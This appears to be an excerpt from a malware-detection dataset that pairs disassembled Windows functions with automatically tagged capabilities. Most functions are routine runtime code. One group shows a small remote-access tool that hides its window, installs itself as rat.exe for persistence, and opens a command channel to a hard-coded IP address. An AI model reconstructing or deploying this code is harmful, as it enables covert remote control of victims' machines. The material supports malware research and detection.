joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401683
Capabilities:
Send data
Send data on socket

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
mov qword [rbp - 8], rax
lea rax, [0x00408980]
mov rcx, rax
call sym.strlen
mov rcx, qword [rbp - 8]
mov r9d, 0
mov r8d, eax
lea rax, [0x00408980]
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov r8d, 0x7d0
mov edx, 0
lea rax, [0x00408980]
mov rcx, rax
call sym.memset
nop
add rsp, 0x30
pop rbp
ret

Function at 0x4017b0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x1d0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x160], rcx
mov dword [rbp + 0x168], edx
lea rax, [rbp - 0x50]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x4017fe
lea rcx, str.Failed_to_initialize_Winsock
call sym.puts
mov rax, 0xffffffffffffffff
jmp 0x4018b8
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x148], rax
cmp qword [rbp + 0x148], 0xffffffffffffffff
jne 0x401846
lea rcx, str.Failed_to_create_socket
call sym.puts
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov rax, 0xffffffffffffffff
jmp 0x4018b8
lea rcx, str.Connected.
call sym.puts
mov word [rbp - 0x60], 2
mov eax, dword [rbp + 0x168]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp - 0x5e], ax
mov rcx, qword [rbp + 0x160]
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp - 0x5c], eax
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0x148]
mov r8d, 0x10
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
cmp eax, 0xffffffff
jne 0x4018b1
lea rcx, str.Failed_to_connect_to_server
call sym.puts
mov rax, qword [rbp + 0x148]
add rsp, 0x1d0
pop rbp
ret
Function at 0x4018c1
Capabilities:
Create thread
Hide graphical window

Disassembly:
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x80]
call sym.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0xd8], rax
mov rax, qword [rbp + 0xd8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
movabs rax, 0x6f72707265737525
mov qword [rbp - 0x40], rax
movabs rax, 0x6f445c25656c6966
mov qword [rbp - 0x38], rax
movabs rax, 0x5c7364616f6c6e77
mov qword [rbp - 0x30], rax
movabs rax, 0x6578652e746172
mov qword [rbp - 0x28], rax
lea rdx, [rbp - 0x20]
mov eax, 0
mov ecx, 0x1c
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.persistent
mov edx, 0x1f40
lea rcx, str.192.168.177.131
call sym.connectToServer
mov qword [rbp - 0x48], rax
lea rcx, str.hello
call sym.printf
lea rax, [rbp - 0x48]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [sym.ReceiveMessage]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0xd0], rax
mov rax, qword [rbp + 0xd0]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rcx, str.hello
call sym.printf
lea rax, [0x00409160]
mov rcx, rax
call sym.cmd
mov rdx, rax
lea rax, [0x00408980]
mov rcx, rax
call sym.strcpy
lea rax, [rbp - 0x48]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [sym.sendMess]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0xc8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0xc8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x401975
Function at 0x401fe0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00408624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x402168
mov rax, qword [0x00408628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x40202c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x4020b5
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x402010
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x40219d
mov rax, qword [0x00408628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00408628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x402180
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x4020ae
sub eax, 0x40
and eax, 0xffffffbf
jne 0x402110
add dword [0x00408624], 1
cmp edi, 8
jae 0x4020e3
test dil, 4
jne 0x402154
test edi, edi
je 0x4020d8
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x40216f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x4020d8
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x4020fc
jmp 0x4020d8
add rsi, qword [0x00408628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x4020ae
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x4020d8
xor esi, esi
jmp 0x402037
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x4020d8
mov rax, qword [0x00408628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x4028f0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00408900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004088e0]
test rbx, rbx
je 0x402944
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40293b
test rsi, rsi
je 0x40293b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402920
lea rcx, [0x00408900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x402b80
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x402b90
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x402ba0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402be1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x402bd8
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x402be3
add rax, 0x28
cmp rax, r9
jne 0x402bc4
xor eax, eax
ret

Function at 0x402c80
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00405400]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x402ced
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402ced
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x402ced
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402ce4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402cef
add rax, 0x28
cmp rax, r9
jne 0x402cd0
xor eax, eax
add rsp, 0x28
ret

Function at 0x402df0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00405400]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x402e10
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402e08
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x402e6d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402e64
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402e74
add rax, 0x28
cmp rax, r9
jne 0x402e50
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x402e90
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x00405400]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x402efe
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402efe
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x402efe
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x402efe
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x402ef5
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x402f05
add rcx, 0x28
cmp rcx, rax
jne 0x402ee0
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x402f18
jmp 0x402efe
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x402f26
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x402efe
test r9d, r9d
jg 0x402f10
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x4031f0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x1400074c0
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rsi, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x1400074ee
xor eax, eax
jmp 0x1400075da
cmp qword [rcx + 0x68], 0
je 0x140007502
lfence
call fcn.140007600
jmp 0x1400075da
mov rax, qword [rcx + 0x38]
mov rbp, rsi
mov rdx, qword [rax]
test rdx, rdx
je 0x140007519
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14000751b
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14000754d
cmp rax, rsi
mov rbx, rsi
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.140008e10
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rbp, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x1400075d1
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x140007584
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x1400075ad
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.14001375c
add r14, rax
sub rbp, rax
cmp rax, rbx
jne 0x1400075d1
cmp rbp, rbx
ja 0x14000758b
test rbp, rbp
je 0x1400075d1
mov r9, qword [rdi + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, r14
call fcn.14001375c
sub rbp, rax
sub rsi, rbp
mov rax, rsi
lfence
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x140008ae8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140008b32
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140008b32
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140008b32
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140008b32
cmp dword [rcx + 0x84], 0xe
jbe 0x140008b32
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140008b34
xor al, al
add rsp, 0x28
ret

Function at 0x140017f78
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140017d74
Function at 0x1400226bc
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140022743
mov rsi, rbx
cmp word [rax], bp
je 0x140022702
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x1400226ec
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x1400226e8
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14001b770
mov rdi, rax
test rax, rax
je 0x140022730
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140008e10
mov rbp, rdi
xor ecx, ecx
call fcn.14001b2b4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140025458
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14001a3c0
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x1400254f9
cmp ebx, dword [rsp + 0x30]
je 0x1400254f2
test esi, esi
je 0x1400254f2
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x1400254cd
sub r8w, 0x61
cmp r8w, 0x19
ja 0x1400254da
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x1400254b7
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x1400254de
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x1400254fb
mov eax, 1
jmp 0x1400254fb
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x40c060
Capabilities:
Query environment variable

Disassembly:
push r13
push r12
push rsi
push rbx
sub rsp, 0x148
mov qword [rsp + 0x40], 0
mov rbx, rcx
mov r13, rdx
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x88], 0
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x98], 0
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 0
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xb8], 0
mov qword [rsp + 0xc0], 0
mov qword [rsp + 0xc8], 0
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0xe0], 0
mov qword [rsp + 0xe8], 0
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0xf8], 0
mov qword [rsp + 0x100], 0
mov qword [rsp + 0x108], 0
mov qword [rsp + 0x110], 0
mov qword [rsp + 0x118], 0
mov qword [rsp + 0x120], 0
mov qword [rsp + 0x128], 0
mov qword [rsp + 0x130], 0
mov qword [rsp + 0x138], 0
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
call qword [sym.imp.libcurl_4.dll_curl_easy_init]
mov r12, rax
test rax, rax
je 0x40c3a0
lea rsi, [rsp + 0x40]
mov r8, rbx
mov edx, 0x2712
mov rcx, rax
mov rbx, qword [sym.imp.libcurl_4.dll_curl_easy_setopt]
call rbx
mov r8d, 1
mov edx, 0x4a
mov rcx, r12
call rbx
mov r8d, 0xf
mov edx, 0x4e
mov rcx, r12
call rbx
mov r8, rsi
mov edx, 0x271a
mov rcx, r12
call rbx
mov r8d, 1
mov edx, 0x63
mov rcx, r12
call rbx
mov r8d, 1
mov edx, 0x79
mov rcx, r12
call rbx
lea r8, [0x0040a670]
mov edx, 0x4e2b
mov rcx, r12
call rbx
lea r8, [rsp + 0x20]
mov edx, 0x2711
mov rcx, r12
call rbx
mov rax, qword [0x006f6bd0]
mov r8, qword [rax]
test r8, r8
je 0x40c330
mov edx, 0x2714
mov rcx, r12
call rbx
mov rax, qword [0x006f6be0]
mov edx, 0x65
mov rcx, r12
mov r8d, dword [rax]
call rbx
mov rcx, r12
call qword [sym.imp.libcurl_4.dll_curl_easy_perform]
test eax, eax
jne 0x40c380
mov rcx, qword [rsp + 0x20]
test rcx, rcx
je 0x40c2eb
cmp qword [rsp + 0x28], 0
jne 0x40c320
lea rdx, str.Empty_data_received_for_config
mov ecx, 1
xor r13d, r13d
call fcn.0040a860
mov rcx, r12
call qword [sym.imp.libcurl_4.dll_curl_easy_cleanup]
mov rax, r13
add rsp, 0x148
pop rbx
pop rsi
pop r12
pop r13
ret
mov r8, r13
xor edx, edx
call fcn.00655500
mov r13, rax
jmp 0x40c2ff
lea rcx, str.http_proxy
call sub.msvcrt.dll_getenv
test rax, rax
je 0x40c2c8
lea rcx, str.all_proxy
call sub.msvcrt.dll_getenv
lea rcx, str.all_proxy
test rax, rax
je 0x40c3c0
call sub.msvcrt.dll_getenv
mov rcx, r12
mov edx, 0x2714
mov r8, rax
call rbx
mov rcx, r12
call qword [sym.imp.libcurl_4.dll_curl_easy_perform]
test eax, eax
je 0x40c2d9
nop dword [rax]
mov r8, rsi
lea rdx, str.Remote_config_read_failed:__s
mov ecx, 1
xor r13d, r13d
call fcn.0040a860
jmp 0x40c2ff
lea rdx, str.Remote_config_init_failed_
mov ecx, 1
xor r13d, r13d
call fcn.0040a860
jmp 0x40c308
lea rcx, str.ALL_PROXY
call sub.msvcrt.dll_getenv
test rax, rax
je 0x40c3e0
lea rcx, str.ALL_PROXY
jmp 0x40c359
lea r8, [0x00694c03]
mov edx, 0x2714
mov rcx, r12
call rbx
jmp 0x40c2c8
Function at 0x416270
Capabilities:
Hash data using sha512

Disassembly:
push rdi
push rbx
sub rsp, 0x68
mov rbx, rcx
test rcx, rcx
je 0x4163b2
lea rax, [rdx - 1]
cmp rax, 0x3f
ja 0x416388
xor eax, eax
lea rdi, [rcx + 0x48]
mov byte [rsp + 0x20], dl
vmovdqu xmm3, xmmword [0x006976a0]
mov word [rsp + 0x3e], ax
and rdi, 0xfffffffffffffff8
mov eax, ecx
vinserti128 ymm0, ymm3, xmmword [0x006976b0], 1
sub eax, edi
mov byte [rsp + 0x31], 0
vmovdqu xmm4, xmmword [0x006976c0]
mov qword [rsp + 0x29], 0
mov qword [rsp + 0x21], 0x10100
mov qword [rsp + 0x32], 0
mov dword [rsp + 0x3a], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rcx + 0x40], 0
mov qword [rcx + 0xe8], 0
lea ecx, [rax + 0xf0]
xor eax, eax
shr ecx, 3
rep stosq qword [rdi], rax
mov dword [rbx + 0xe4], edx
vmovdqu xmm2, xmmword [rsp + 0x20]
vinserti128 ymm1, ymm2, xmmword [rsp + 0x30], 1
vmovdqu xmm5, xmmword [rsp + 0x40]
vpxor ymm0, ymm0, ymm1
vinserti128 ymm1, ymm4, xmmword [0x006976d0], 1
vmovups xmmword [rbx], xmm0
vextracti128 xmmword [rbx + 0x10], ymm0, 1
vinserti128 ymm0, ymm5, xmmword [rsp + 0x50], 1
vpxor ymm0, ymm0, ymm1
vmovups xmmword [rbx + 0x20], xmm0
vextracti128 xmmword [rbx + 0x30], ymm0, 1
vzeroupper
add rsp, 0x68
pop rbx
pop rdi
ret
mov edx, 0xf0
call fcn.00418860
cmp byte [rbx + 0xe8], 0
je 0x4163a3
mov qword [rbx + 0x58], 0xffffffffffffffff
mov qword [rbx + 0x50], 0xffffffffffffffff
mov eax, 0xffffffff
jmp 0x41637c
mov eax, 0xffffffff
jmp 0x41637c
Function at 0x4163c0
Capabilities:
Hash data using sha512

Disassembly:
push r13
push r12
push rdi
sub rsp, 0xe0
mov r10, r8
mov r12, rcx
mov r8, r9
test rcx, rcx
je 0x416571
lea rax, [rdx - 1]
cmp rax, 0x3f
ja 0x416540
lea rax, [r9 - 1]
cmp rax, 0x3f
ja 0x416540
test r10, r10
je 0x416540
lea rdi, [rcx + 0x48]
xor eax, eax
mov byte [rsp + 0x20], dl
lea r13, [rsp + 0x60]
and rdi, 0xfffffffffffffff8
mov word [rsp + 0x3e], ax
xor eax, eax
vmovdqu xmm3, xmmword [0x006976a0]
mov byte [rsp + 0x21], r9b
vinserti128 ymm0, ymm3, xmmword [0x006976b0], 1
mov dword [rsp + 0x3a], 0
vmovdqu xmm4, xmmword [0x006976c0]
mov qword [rsp + 0x2a], 0
mov qword [rsp + 0x22], 0x101
mov qword [rsp + 0x32], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rcx + 0x40], 0
mov qword [rcx + 0xe8], 0
sub ecx, edi
add ecx, 0xf0
shr ecx, 3
rep stosq qword [rdi], rax
mov rdi, r13
mov ecx, 0x10
mov dword [r12 + 0xe4], edx
rep stosq qword [rdi], rax
mov rdx, r10
mov rcx, r13
vmovdqu xmm2, xmmword [rsp + 0x20]
vinserti128 ymm1, ymm2, xmmword [rsp + 0x30], 1
vmovdqu xmm5, xmmword [rsp + 0x40]
vpxor ymm0, ymm0, ymm1
vinserti128 ymm1, ymm4, xmmword [0x006976d0], 1
vmovups xmmword [r12], xmm0
vextracti128 xmmword [r12 + 0x10], ymm0, 1
vinserti128 ymm0, ymm5, xmmword [rsp + 0x50], 1
vpxor ymm0, ymm0, ymm1
vmovups xmmword [r12 + 0x20], xmm0
vextracti128 xmmword [r12 + 0x30], ymm0, 1
vzeroupper
call sub.msvcrt.dll_memcpy
mov r8d, pe_nt_image_headers64
mov rdx, r13
mov rcx, r12
call fcn.00415f90
mov edx, pe_nt_image_headers64
mov rcx, r13
call fcn.00418860
xor eax, eax
add rsp, 0xe0
pop rdi
pop r12
pop r13
ret
mov edx, 0xf0
mov rcx, r12
call fcn.00418860
cmp byte [r12 + 0xe8], 0
je 0x416561
mov qword [r12 + 0x58], 0xffffffffffffffff
mov qword [r12 + 0x50], 0xffffffffffffffff
mov eax, 0xffffffff
jmp 0x416530
mov eax, 0xffffffff
jmp 0x416530

Function at 0x41ae60
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
mov r9, r8
test rcx, rcx
je 0x41aeb0
test rdx, rdx
je 0x41aeb0
mov r8, rdx
xor ecx, ecx
xor edx, edx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.msvcrt.dll__beginthreadex]
test rax, rax
mov qword [rbx], rax
sete al
movzx eax, al
neg eax
add rsp, 0x30
pop rbx
ret
mov eax, 0xffffffff
jmp 0x41aea1
Function at 0x43fbd0
Capabilities:
Hash data using sha512

Disassembly:
push r13
push r12
sub rsp, 0x28
vmovdqu xmm1, xmmword [0x00698680]
vpxor xmm0, xmm0, xmm0
vmovdqu xmm2, xmmword [0x00698690]
vmovdqu xmm3, xmmword [0x006986a0]
vmovdqu xmm4, xmmword [0x006986b0]
mov r12, rcx
mov r13, rdx
mov qword [rcx + 0xd0], 0
mov rdx, r8
vmovups xmmword [rcx + 0x80], xmm1
mov r8, r9
vmovups xmmword [rcx + 0x90], xmm2
vmovups xmmword [rcx + 0xa0], xmm3
vmovups xmmword [rcx + 0xb0], xmm4
vmovups xmmword [rcx + 0xc0], xmm0
call fcn.0043f820
mov rdx, r13
mov rcx, r12
add rsp, 0x28
pop r12
pop r13
jmp fcn.0043f930